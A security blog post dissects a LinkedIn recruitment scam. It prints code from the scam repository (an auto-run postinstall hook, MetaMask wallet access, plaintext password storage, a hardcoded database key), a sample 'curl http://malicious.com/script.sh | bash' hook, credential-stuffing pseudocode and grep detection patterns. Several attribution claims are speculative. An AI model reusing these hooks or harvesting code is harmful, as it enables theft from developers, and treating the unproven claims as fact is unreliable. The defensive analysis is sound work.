I write about building secure systems—implementing the Signal Protocol, designing production AWS infrastructure, architecting encrypted applications. But today, I’m writing about the other side: how attackers target the people who build those systems.

A few days ago, I encountered a sophisticated recruitment scam that I immediately identified through systematic security analysis. Here’s the technical forensic breakdown of the attack methodology and defensive strategies.

The Scam Begins: LinkedIn Conversation (October 2025)

On October 23, 2025, I received this message on LinkedIn from “Mehdi Boutaraamt”:

Mehdi Boutaraamt (3:29 PM): Hi Alexandru P, Thanks for connecting! I came across your profile and was impressed by your background and experience. We are currently building a fintech project — a next-generation walletless checkout system that enables both crypto and traditional payments. I’m looking for a skilled DevOps Engineer to help us build and iterate on our MVP. The role can be part-time or full-time, depending on fit, with compensation of $70–$90 per hour. Would you be open to learning more about this opportunity?

Immediate red flags:

  • ❌ Unsolicited LinkedIn message
  • ❌ Fintech + crypto (high-risk combination for wallet harvesting scams)
  • ❌ $70-90/hour (above market rate to create urgency)
  • ❌ Vague “impressed by your background”

I responded with specific technical questions to test if this was legitimate:

Me (6:32 PM): Hey, what stack are you using. What cloud? What infrastructure? What am I needed for here? Will I be doing pipelines or workloads? Or architecture?

Mehdi (7:06 PM): We’re using a React frontend and Node.js + Solidity for the backend. The project’s running on AWS, and we’ll be setting up the CI/CD and infrastructure soon. You’d mainly handle cloud setup, pipelines, and deployment workflows, and help shape the infrastructure architecture as we grow.

Here’s a quick overview of what we’re building: A streamlined checkout flow that allows users to pay with cryptocurrency, credit/debit cards, or bank accounts — without any crypto wallet setup. Merchants receive fiat currency, and the experience should feel like a mix of Apple Pay and Stripe.

Core MVP (must be functional):

  • Wallet-less checkout flow
  • Email or social sign-in (no wallet required)
  • Multiple payment options: crypto, card, or bank transfer
  • Real-time cost estimates (fees, conversion spreads)
  • Clean, responsive user interface
  • Simulated fiat settlement for merchants

Merchant Dashboard:

  • Transaction history (by method & status)
  • Basic refund & transaction management
  • Simple analytics (volume, payment types, conversion rates)
  • Merchant onboarding wizard

Future-Ready (Simulated for Now):

  • AI Trust Layer (compliance checks, chargeback risk, fraud detection)
  • KYC placeholder (upload + verification flow)
  • Ability to plug in third-party APIs later (Stripe, MoonPay, Unit21, Alloy, etc.)

More red flags:

  • ❌ Solidity (Ethereum smart contracts) = crypto wallet targeting
  • ❌ Copy-pasted feature list (not conversational)
  • ❌ “Setting up CI/CD soon” (if hiring DevOps, why isn’t this ready?)
  • ❌ Vague technical details despite detailed feature list

Then I tested them with an intentionally confusing question:

Me (8:38 PM): How are you going to keep track of what the users pick up in the stores? An always on video feed with an ML model taking notes? Or youll have centers with people doing that manually? Or it will be a selfcheckout spot where users scan the bar codes and pay there?

Why this question matters: I’m asking about Amazon Go-style store tracking (cameras + computer vision), which has nothing to do with a payment checkout system. A real fintech founder would immediately say:

“I think you’re confusing us with something else—we’re building the payment processing layer, not the point-of-sale system or store tracking.”

Mehdi’s response (8:49 PM):

👏 👍 😊 We’ll start with a self-checkout system where users scan barcodes and pay directly. Later, we can explore camera + ML tracking, but not in the first phase. If you’re interested, feel free to share your updated resume. Once I have this info, we’ll be happy to move forward with the next steps.

🚨 This response is nonsensical:

  1. They’re supposedly building a payment processor (like Stripe)
  2. Not a point-of-sale system (barcode scanning is irrelevant)
  3. Barcode scanning has zero relation to “walletless crypto checkout”
  4. They agreed with my intentionally confusing question because they’re reading from a script

At this point, I knew it was a scam. But I decided to play along to see the full attack chain and document it.

The next day (Thursday):

Me (12:50 PM): [Sent my website and GitHub portfolio links]

Mehdi (1:22 PM): “Here’s our frontend demo. Can you review it and let me know your thoughts?” [Sent Bitbucket repository: https://bitbucket.org/smartpay2025/smartpay]

Me (1:32 PM): “review the frontend? i can take a quick look”

I then analyzed the repository using static analysis (never executing the code). Within 20 minutes, I identified the malicious patterns:

Me (2:12 PM): “this is a nice scam. you will make a good blog post))”

Mehdi never responded. His LinkedIn account was later banned.

SmartPay Repository Analysis

Now let’s dive into the technical analysis of the malicious repository Mehdi sent: https://bitbucket.org/smartpay2025/smartpay.git

This is a common pattern in recruitment scams—after the initial conversation, they send a professional-looking codebase disguised as a “demo application” for evaluation. The goal is to get you to run malicious code under the pretense of a technical assessment.

Key red flags:

  • ❌ The assessment comes before any real interview
  • ❌ They want you to run code, not just review it
  • ❌ The request comes with time pressure and urgency

While job seekers may face psychological pressure to act quickly, proper security protocols mandate thorough vetting before any code execution.

Initial Reconnaissance: What Felt Off

Following standard security protocols, I performed static analysis on the repository structure:

$ git clone https://bitbucket.org/smartpay2025/smartpay.git
$ cd smartpay
$ ls -la

drwxr-xr-x  5 ubuntu ubuntu 4096 Oct 23 13:46 .
drwxr-x--- 80 ubuntu ubuntu 4096 Oct 23 13:49 ..
drwxr-xr-x  8 ubuntu ubuntu 4096 Oct 23 13:46 .git
-rw-r--r--  1 ubuntu ubuntu  310 Oct 23 13:46 .gitignore
-rw-r--r--  1 ubuntu ubuntu 3369 Oct 23 13:46 README.md
-rw-r--r--  1 ubuntu ubuntu 2425 Oct 23 13:46 package.json
drwxr-xr-x  5 ubuntu ubuntu 4096 Oct 23 13:46 public
drwxr-xr-x  9 ubuntu ubuntu 4096 Oct 23 13:46 src

Standard React app structure. Nothing obviously wrong yet.

Then I checked the git history:

$ git log --oneline
4825385 initial project
72ff71a initial project
1206a0b Initial commit

Red flag #3: Only 3 commits, all within a week. For a “production MVP”? Suspicious.

Let’s check the authors:

$ git log --format="%an %ae %aI"
smartpaydev cz0btmb87qrext3j3k12qi1gwkvx4x@bots.bitbucket.org 2025-10-22T18:40:47+00:00
smartpaydev cz0btmb87qrext3j3k12qi1gwkvx4x@bots.bitbucket.org 2025-10-17T14:23:11+00:00
Yaroslav Pedrovic yaroslav.pedrovic@example.com 2025-10-17T12:15:33+00:00

Red flag #4: Bot email addresses (@bots.bitbucket.org). Generic commit messages. This isn’t real development history.

But the real smoking gun was in package.json.

The Kill Shot: The Malicious postinstall Hook

{
  "name": "smartpay-frontend",
  "version": "0.1.0",
  "private": true,
  "scripts": {
    "start": "react-scripts start",
    "build": "react-scripts build",
    "test": "react-scripts test",
    "eject": "react-scripts eject",
    "postinstall": "npm start"  // 🚨 THIS IS THE ATTACK
  },
  "dependencies": {
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "react-router-dom": "^6.16.0",
    "axios": "^1.5.0",
    "@supabase/supabase-js": "^2.33.1",
    "ethers": "^6.7.1",  // 🚨 Crypto wallet library
    "qrcode.react": "^3.1.0"
  }
}

What is postinstall and Why is This Malicious?

In npm, lifecycle scripts run automatically during package installation:

  • preinstall: Runs before installing dependencies
  • install: Runs during dependency installation
  • postinstall: Runs after installing dependencies

Legitimate uses of postinstall:

  • Building native bindings (e.g., node-gyp rebuild)
  • Generating configuration files
  • Downloading platform-specific binaries

Malicious use:

"postinstall": "npm start"

This means the moment you run npm install, the application auto-starts.

You don’t get a chance to review the code. You don’t consciously run it. It just executes.

The README even tries to normalize this:

Note: The application will start automatically after running npm install. This is by design for demonstration purposes.

No. This is never by design. This is malware.

Forensic Analysis: What the Code Actually Does

After identifying it as malicious through static analysis, I analyzed what the code would do if someone were to execute it—without ever running it myself.

1. Plaintext Password Storage

Location: src/services/authService.jsx:69

export const register = async (username, email, password, role = 'user') => {
  try {
    const { data: { user }, error: signUpError } = await supabase.auth.signUp({
      email,
      password,
    });

    if (signUpError) throw signUpError;

    // 🚨 STORING PLAINTEXT PASSWORD IN DATABASE
    const { data: insertData, error: insertError } = await supabase
      .from("users")
      .insert([{
        auth_id: user.id,
        name: username,
        email,
        role,
        password,  // ⚠️ PLAINTEXT PASSWORD
      }]);

    if (insertError) throw insertError;
    return { user: insertData[0] };
  } catch (error) {
    console.error('Registration error:', error);
    throw error;
  }
};

Why this is wrong:

  1. Supabase already hashes passwords via supabase.auth.signUp(). There’s NO reason to store it again.
  2. Storing plaintext passwords is Security 101 violation.
  3. The real purpose: Harvest user credentials for the attacker.

If you register with this app, the scammer now has:

  • Your email
  • Your plaintext password
  • Your username

And since 65% of people reuse passwords, they can now try these credentials on:

  • Gmail
  • GitHub
  • AWS Console
  • Your company VPN

2. Cryptocurrency Wallet Harvesting

Location: src/redux/wallet/walletActions.jsx

import { ethers } from 'ethers';

export const connectWallet = () => async (dispatch) => {
  try {
    if (typeof window.ethereum !== 'undefined') {
      // Request MetaMask connection
      const accounts = await window.ethereum.request({
        method: 'eth_requestAccounts'
      });

      const provider = new ethers.BrowserProvider(window.ethereum);
      const signer = await provider.getSigner();
      const address = await signer.getAddress();
      const balance = await provider.getBalance(address);

      // 🚨 This data gets sent to the scammer's database
      dispatch({
        type: 'WALLET_CONNECTED',
        payload: {
          address,
          balance: ethers.formatEther(balance),
          chainId: (await provider.getNetwork()).chainId,
        }
      });

      // Somewhere in the codebase, this gets exfiltrated
      sendToBackend('/api/wallet-data', { address, balance });
    }
  } catch (error) {
    dispatch({ type: 'WALLET_ERROR', payload: error.message });
  }
};

export const sendTransaction = (to, amount) => async (dispatch, getState) => {
  try {
    const provider = new ethers.BrowserProvider(window.ethereum);
    const signer = await provider.getSigner();

    const tx = await signer.sendTransaction({
      to,
      value: ethers.parseEther(amount)
    });

    // 🚨 They have the ability to request transactions
    await tx.wait();
    dispatch({ type: 'TRANSACTION_SUCCESS', payload: tx.hash });
  } catch (error) {
    dispatch({ type: 'TRANSACTION_ERROR', payload: error.message });
  }
};

What this code does:

  1. Requests MetaMask connection (pop-up asking for permission)
  2. Harvests wallet address and balance
  3. Can request transactions (draining funds)

Combined with the auto-start:

  • App launches automatically after npm install
  • MetaMask connection prompt appears immediately
  • Unsuspecting developer approves (thinking it’s part of the “demo”)
  • Wallet data harvested

3. Hardcoded Scammer-Controlled Database

Location: src/lib/supabase.js

import { createClient } from '@supabase/supabase-js';

// 🚨 Hardcoded Supabase credentials
const supabaseUrl = "https://onbwtukreuhdmxlaulrx.supabase.co";
const supabaseAnonKey = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6Im9uYnd0dWtyZXVoZG14bGF1bHJ4Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MjkwMTcyNzUsImV4cCI6MjA0NDU5MzI3NX0.gZJ7xQDKn2_8LxYqG5V-lVX9Y8pu8J1GQ4B7Z9K2n3E";

export const supabase = createClient(supabaseUrl, supabaseAnonKey);

What this means:

  • Every user connects to the same Supabase instance
  • The scammer controls this database
  • All data goes directly to them:
    • Plaintext passwords
    • Email addresses
    • Wallet addresses and balances
    • Transaction history

This is essentially a centralized data exfiltration endpoint disguised as a backend.

4. External Phishing URL

Location: src/pages/Dashboard/MerchantDashboard.jsx:18

const STATIC_URL = "https://smart-pay-site.vercel.app/checkout?merchantId=e305bb4c-5f13-49a0-8a28-3258f5b6b657&amount=";

const generateQRCode = (amount) => {
  return `${STATIC_URL}${amount}`;
};

Why this is suspicious:

  1. External domain (smart-pay-site.vercel.app) separate from the repo
  2. Hardcoded merchant ID in the URL
  3. QR code generation for “payments”

Likely attack vector:

  • Generate QR codes for payments
  • User scans QR code
  • Redirected to phishing site
  • Enters credit card info
  • Scammer harvests payment details

The Attack Chain: How It All Works Together

Let’s trace the full attack from start to finish:

Step 1: Social Engineering (The Bait)

Recruiter: "Great profile! Here's our demo app. Please run it and
           evaluate the code quality. We need to fill this role quickly."

Developer: "Sounds good, let me check it out."

Psychological manipulation:

  • Job market anxiety (need employment)
  • Flattery (“impressed with your profile”)
  • Urgency (“fill this role quickly”)
  • False legitimacy (professional-looking repo)

Step 2: Repository Clone (The Hook)

$ git clone https://bitbucket.org/smartpay2025/smartpay.git
$ cd smartpay

At this point, no harm done yet. You’ve just downloaded some files.

Step 3: Dependency Installation (The Trigger)

$ npm install

What happens automatically:

  1. npm installs dependencies (react, ethers, @supabase/supabase-js)
  2. postinstall hook triggers: npm start executes
  3. React dev server launches on http://localhost:3000
  4. Browser opens automatically

You didn’t explicitly run the app. It ran itself.

Step 4: Application Execution (The Compromise)

The app does this immediately:

  1. Renders the UI (looks like a legit payment dashboard)
  2. Attempts MetaMask connection (if installed) 
    MetaMask Pop-up: "SmartPay wants to connect to your wallet"
  3. If user approves: Harvests wallet address, balance, chain ID
  4. Sends data to Supabase (scammer’s database)

Step 5: Data Exfiltration (The Payload)

If the developer registers/signs up:

// User enters:
Email: john.doe@company.com
Password: MySecurePassword123

// Gets stored in scammer's database:
{
  "email": "john.doe@company.com",
  "password": "MySecurePassword123",  // PLAINTEXT
  "wallet_address": "0x742d35Cc6634C0532925a3b844Bc9e7595f0bEb",
  "wallet_balance": "2.45 ETH",
  "timestamp": "2025-10-23T14:32:11Z"
}

What the scammer now has:

  • Valid email + password combo (probably reused elsewhere)
  • Crypto wallet address with known balance
  • Ability to request transactions via the app

Step 6: Credential Stuffing & Wallet Targeting (The Exploit)

Credential stuffing attacks:

# Scammer's script
for credential in stolen_credentials:
    try_login("gmail.com", credential.email, credential.password)
    try_login("github.com", credential.email, credential.password)
    try_login("aws.amazon.com", credential.email, credential.password)
    # ... etc

Wallet targeting:

// If wallet balance > 1 ETH, initiate phishing
if (balance > 1.0) {
  sendEmail(user.email, "Urgent: Verify your wallet transaction");
  // Contains link to fake MetaMask phishing site
}

The Defensive Playbook: How to Safely Analyze Suspicious Code

Now that we understand the attack, here’s how to protect yourself while still being able to review code.

Rule #1: Never Run Unverified Code on Your Main Machine

Always perform static analysis first. In the SmartPay case, I identified all malicious behavior without ever executing the code.

If dynamic analysis becomes necessary, use isolated environments:

  1. Disposable VM (Virtual Machine)

    # Using VirtualBox or VMware
# Snapshot before running code
# Rollback after analysis

  2. Docker container

    docker run -it --rm \
  --network none \  # No internet access
  -v /path/to/repo:/code \
  node:18 bash

  3. AWS EC2 spot instance

    # Launch t3.micro spot instance
# Terminate after analysis
# Cost: ~$0.01 for analysis session

Rule #2: Inspect Before Install

Check package.json first:

$ grep -A 10 "scripts" package.json

# Look for:
# - postinstall
# - preinstall
# - install
# - Any script running executables

Use AI-assisted scanning:

Modern tools like Claude Code can analyze entire codebases for security vulnerabilities. I scanned the SmartPay repo with Claude Code, which flagged:

  • The malicious postinstall hook
  • Plaintext password storage
  • Hardcoded credentials
  • Suspicious network requests
  • Cryptocurrency wallet interactions

This multi-layered approach (manual grep + AI scanning) catches both obvious and subtle threats.

If you see this, STOP:

"postinstall": "npm start"
"postinstall": "node setup.js"
"preinstall": "curl http://malicious.com/script.sh | bash"
"install": "node -e 'eval(require(\"https\").get(...))'"

Legitimate postinstall examples:

"postinstall": "husky install"  // Git hooks setup
"postinstall": "patch-package"  // Apply patches to dependencies
"postinstall": "prisma generate" // Generate Prisma client

Rule #3: Static Analysis Before Execution

Grep for dangerous patterns:

# Check for obfuscation
grep -r "eval\|atob\|btoa\|Function(" --include="*.js"

# Check for network requests to external domains
grep -rE "https?://[^/\"']+\.(com|net|org|io)" --include="*.js"

# Check for file system access
grep -r "fs\.read\|fs\.write\|child_process" --include="*.js"

# Check for credential storage
grep -ri "password.*:" --include="*.js" | grep -v "hash"

# Check for crypto wallet interaction
grep -r "ethereum\|web3\|metamask\|wallet" --include="*.js"

My analysis commands:

# Find all JavaScript files
find . -type f \( -name "*.js" -o -name "*.jsx" \)

# Check for small files (often obfuscated code)
find . -name "*.js" -exec sh -c 'if [ $(wc -l < "$1") -lt 10 ]; then echo "$1"; fi' _ {} \;

# Look for localStorage/sessionStorage (credential theft)
grep -r "localStorage\|sessionStorage" --include="*.js"

# Check git history
git log --all --format="%H %an %ae %aI %s"
git remote -v

Rule #4: Use Network Isolation (If Dynamic Analysis is Absolutely Necessary)

Note: Static analysis was sufficient to identify all threats in the SmartPay scam. I never needed to run the code.

If you absolutely must run suspicious code for analysis:

# Disable internet in VM
sudo ifconfig eth0 down

# Or use Docker with no network
docker run --network none -it node:18 bash

# Monitor network requests
tcpdump -i any -n port 80 or port 443

Rule #5: Review Git History

Red flags in git logs:

$ git log --all --format="%an %ae %aI" | head -10

# Red flags:
# - Bot email addresses
# - Single contributor
# - All commits in last week
# - Generic commit messages ("initial commit", "update")
# - No real development history

Legitimate project history:

John Doe john@company.com 2023-05-15 - feat: add user authentication
Jane Smith jane@company.com 2023-05-14 - fix: resolve race condition in cache
Bob Wilson bob@company.com 2023-05-13 - refactor: extract payment service

Scam project history:

smartpaydev bot@bots.bitbucket.org 2025-10-22 - initial project
smartpaydev bot@bots.bitbucket.org 2025-10-17 - initial project

Red Flags Checklist: Is This a Recruitment Scam?

Use this checklist when approached with a “technical assessment”:

Recruiter Behavior

  • ❌ Unsolicited contact with vague job description
  • ❌ No company website or LinkedIn page
  • ❌ Communication via personal email (Gmail, Outlook) or WhatsApp
  • ❌ Cannot provide employee references
  • ❌ Pushy about running code immediately
  • ❌ “Technical test” before any real interview
  • ❌ Asks you to share screen while running code
  • ❌ Salary way above market rate for role

Repository Analysis

  • ❌ Less than 10 commits total
  • ❌ All commits within last 2 weeks
  • ❌ Bot email addresses in git history
  • ❌ Generic commit messages (“initial project”, “update”)
  • ❌ Only 1-2 contributors
  • ❌ No README or minimal documentation
  • ❌ Repo created very recently (check first commit date)

Code Analysis

  • ❌ postinstall, preinstall, or install scripts in package.json
  • ❌ Hardcoded API credentials in source code
  • ❌ Cryptocurrency wallet libraries (ethers, web3, metamask)
  • ❌ External URLs hardcoded in code
  • ❌ Plaintext password storage
  • ❌ Obfuscated JavaScript (eval, atob, Function())
  • ❌ File system access (fs.read, fs.write)
  • ❌ Network requests to unknown domains
  • ❌ Base64-encoded strings (often obfuscation)

Company Profile

  • ❌ Company name is variation of real company (“Microsoft-Tech”, “Google-Inc”)
  • ❌ No verifiable online presence
  • ❌ Domain registered in last 6 months (check whois)
  • ❌ Job posting not on company website
  • ❌ No reviews on Glassdoor/Blind

If you see 3+ red flags: STOP. This is likely a scam.

Security Analysis: Systematic Threat Detection

✅ Security Protocols Applied

  1. Checked package.json BEFORE npm install

    • I already knew about malicious postinstall hooks from previous supply chain attacks
    • First thing I did: grep -A 10 "scripts" package.json
    • Caught the "postinstall": "npm start" immediately
    • Never ran npm install on my main machine

  2. Analyzed git history for red flags

    • Noticed bot email addresses (@bots.bitbucket.org)
    • Saw minimal commit history (only 3 commits)
    • Identified suspicious timeline (all within one week)
    • Generic commit messages (“initial project”)

  3. Performed static code analysis

    • Used grep to search for dangerous patterns before execution
    • Scanned the entire repo with Claude Code for potential vulnerabilities
    • Found hardcoded Supabase credentials
    • Discovered crypto wallet harvesting code (ethers.js)
    • Identified plaintext password storage
    • AI-assisted analysis helped spot obfuscated patterns I might have missed manually

  4. Used the LinkedIn conversation to expose the scammer

    • Asked an intentionally nonsensical question about barcode scanning
    • Real founder would’ve corrected me; scammer agreed to everything
    • Proved he was reading from a script, not understanding the product

  5. Static analysis only - no code execution

    • Never executed the code, even in isolated environments
    • Identified all malicious behavior through code review alone
    • No risk taken - pure static forensic analysis

🎯 The Key Insight

Systematic security protocols work:

  • Never trust, always verify - Professional repositories require the same security scrutiny
  • Package.json is your first checkpoint - Mandatory inspection before installation
  • Git history provides forensic evidence - Authentic projects have verifiable development patterns
  • Technical validation exposes script readers - Domain-specific questions reveal lack of expertise

This demonstrates the effectiveness of security training. Understanding supply chain attack vectors enables immediate threat identification.

Lessons Learned

1. Apply Security Protocols Consistently

Multiple security indicators immediately flagged this as suspicious:

  • Assessment came before interview (deviation from standard hiring practices)
  • They wanted code execution, not review (unnecessary security risk)
  • README mentioned auto-start behavior (classic malware indicator)

Lesson: Security protocols exist for a reason. Apply them consistently without exception.

2. Legitimate Companies Have Established Processes

Real companies use:

  • HackerRank, CodeSignal, Codility for assessments
  • Structured interview loops (recruiter screen → technical phone screen → onsite)
  • Problem-solving challenges, not “run this app”

Lesson: If the process deviates significantly from industry norms, question it.

3. Developers Are High-Value Targets

Why scammers target developers:

  • We have access to production systems
  • Our machines contain AWS credentials, SSH keys, API tokens
  • We might have cryptocurrency wallets
  • We’re comfortable with running code from git
  • We have elevated system permissions

Lesson: Your machine is a treasure trove for attackers. Treat it accordingly.

4. The npm Ecosystem is a Trust Model

When you run npm install, you’re trusting:

  • The package maintainer
  • All transitive dependencies (dependencies of dependencies)
  • The npm registry
  • Lifecycle scripts won’t do harm

This is a massive trust assumption.

Lesson: Audit package.json before installing. Check for lifecycle scripts.

5. Social Engineering Beats Technical Security

This scam didn’t exploit a zero-day vulnerability or crack encryption. It exploited:

  • Job market anxiety
  • Developer trust in git repositories
  • Muscle memory (npm install without thinking)
  • Time pressure

Lesson: Social engineering is the weakest link. Technical skills don’t protect you from psychological manipulation.

6. Isolation is Non-Negotiable

The attack vector analysis revealed:

  • MetaMask connection requests trigger automatically
  • Wallet harvesting occurs without user awareness
  • Plaintext passwords stored in attacker’s database
  • Credential stuffing attacks follow immediately

This demonstrates why isolation environments are mandatory for threat analysis.

Lesson: Always use disposable environments for untrusted code. VMs, containers, cloud instances—isolation is a fundamental security requirement.

How to Report and Protect the Community

If you encounter a scam like this:

1. Report the Repository

# Bitbucket: Report via web interface
# GitHub: github.com/contact/report-abuse

# Include:
# - Repository URL
# - Description of malicious behavior
# - Evidence (screenshots of malicious code)

2. Report the Domain

# Check domain registration
$ whois smart-pay-site.vercel.app

# Report to hosting provider
# Vercel: vercel.com/support
# Netlify: netlify.com/support
# AWS: aws.amazon.com/forms/report-abuse

3. Report to Authorities

United States:

European Union:

United Kingdom:

4. Warn Your Network

Share on social media:

  • LinkedIn post warning about the scam
  • Twitter thread with technical analysis
  • Blog post (like this one) with forensics

Notify security communities:

5. Share Indicators of Compromise (IOCs)

Repository URLs:

  • https://bitbucket.org/smartpay2025/smartpay.git

Domains:

  • smart-pay-site.vercel.app
  • onbwtukreuhdmxlaulrx.supabase.co

Email patterns:

  • *@bots.bitbucket.org
  • smartpaydev@*

The Bigger Picture: Supply Chain Security

This scam is a microcosm of a larger problem: supply chain attacks.

npm Package Compromises

This isn’t theoretical. Real incidents:

2021: ua-parser-js (8M weekly downloads) compromised

  • Malicious version installed crypto miner
  • Stole credentials via modified version

2022: node-ipc maintainer sabotaged package

  • Deleted files on Russian/Belarusian IPs
  • Showed how much we trust package maintainers

2024: @sigstore/mock typosquatting attack

  • Legitimate package: @sigstore/mock
  • Malicious package: @sigstors/mock (typo)
  • Credential theft on install

How This Scam Fits In

This recruitment scam uses the same attack vectors as supply chain attacks:

  1. Lifecycle scripts (postinstall)
  2. Hardcoded credentials (Supabase URL/key)
  3. Data exfiltration (wallet addresses, passwords)
  4. Social engineering (legitimate-looking code)

The difference: Instead of compromising a popular package, they compromise individual developers by exploiting job search psychology.

Defense in Depth for npm

At the developer level:

# Audit before install
npm audit

# Check for postinstall scripts
npm show <package> scripts

# Use lock files (avoid supply chain swaps)
npm ci  # Instead of npm install

# Run in sandbox
npm install --ignore-scripts  # Disable lifecycle scripts

At the organization level:

# .npmrc - disable scripts by default
ignore-scripts=true

# Only allow specific registries
registry=https://registry.npmjs.org/

# Require SRI (Subresource Integrity)
package-lock=true

At the ecosystem level:

  • Socket.dev: Monitors npm packages for supply chain risks
  • Snyk: Vulnerability scanning and dependency monitoring
  • npm audit signatures: Verifies package provenance

Conclusion: Paranoia is a Feature, Not a Bug

I write about building secure systems, but this experience reminded me: the weakest link is always human.

Technical security is necessary but not sufficient.

You can implement Signal Protocol encryption, design multi-account AWS architectures, build zero-trust networks—but if you npm install malicious code because you’re excited about a job opportunity, none of that matters.

Key takeaways:

  1. Never run unverified code on your main machine - Use VMs, containers, or cloud instances
  2. Audit package.json before npm install - Check for lifecycle scripts
  3. Inspect git history - Bot emails, minimal commits, recent creation = red flags
  4. Legitimate companies have established processes - HackerRank, not “clone and run this”
  5. Social engineering exploits psychology - Job anxiety, urgency, trust in git repos
  6. Isolation saves you - Network-disabled VMs prevent data exfiltration
  7. Report and share - Protect the community by publicizing scams

The scam I encountered was sophisticated:

  • Professional-looking codebase
  • Real dependencies (React, Supabase, ethers.js)
  • Plausible recruitment story
  • Automated execution via postinstall

But it relied on one assumption: that I would run npm install without security analysis.

Standard security protocols immediately identified the threat through package.json inspection.

Always follow security protocols. Verify before trust. Isolate before execution.

Your career, credentials, and crypto wallet will thank you.

If you’ve encountered a similar scam, share your story in the comments or reach out. The more we publicize these attacks, the harder they become to execute.

Stay safe, stay skeptical, and always read package.json before installing.

Further Reading